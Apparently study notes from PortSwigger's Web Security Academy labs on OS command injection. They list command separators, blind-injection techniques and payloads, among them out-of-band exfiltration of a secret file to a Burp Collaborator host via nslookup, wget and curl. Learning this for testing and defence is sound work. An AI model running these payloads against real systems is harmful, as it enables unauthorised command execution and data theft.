Useful commands

|  |  |  |
| --- | --- | --- |
| **Purpose of command** | **Linux** | **Windows** |
| Name of current user | whoami | whoami |
| Operating system | uname -a | ver |
| Network configuration | ifconfig | ipconfig /all |
| Network connections | netstat -an | netstat -an |
| Running processes | ps -ef | tasklist |

Ways of injecting OS commands

Command separator: & && | || ; Newline (0x0a or \n)

Inline execution: `command` $(command)

Sometimes, the input that we control appears within quotation marks => use “ or ‘ to terminate the string

Executing arbitrary commands (v)

The check-stock function is implemented by calling out to a shell command:

https://insecure-website.com/stockStatus?productID=381&storeID=29

stockreport.pl 381 29

**Test**: & echo aiwefwlguh &

stockreport.pl & echo aiwefwlguh & 29

**Output**:

Error - productID was not provided

aiwefwlguh

29: command not found

Detecting blind OS command injection using time delays (v)

The server-side application generates an email to a site administrator containing the feedback, but does not return the output

mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com

**Attack**: & ping -c 10 127.0.0.1 &

Exploiting blind OS command injection by redirecting output (v)

If the application serves static resources from the filesystem location /var/www/images

Attack: & whoami > /var/www/images/whoami.txt &

Fetch https:// web-security-academy.net/image?filename=whoami.txt to view the output from the injected command

Exploiting blind OS command injection using out-of-band ([OAST](https://portswigger.net/burp/application-security-testing/oast)) techniques (v)

& nslookup BURP-COLLABORATOR &

Exfiltrate the output from injected commands: & nslookup `whoami`.BURP-COLLABORATOR &

nslookup `cat /home/carlos/secret`.BURP-COLLABORATOR

host `cat /home/carlos/secret`.BURP-COLLABORATOR

host $(cat /home/carlos/secret).BURP-COLLABORATOR

wget --post-file /home/carlos/secret BURP-COLLABORATOR

curl --data @/home/carlos/secret BURP-COLLABORATOR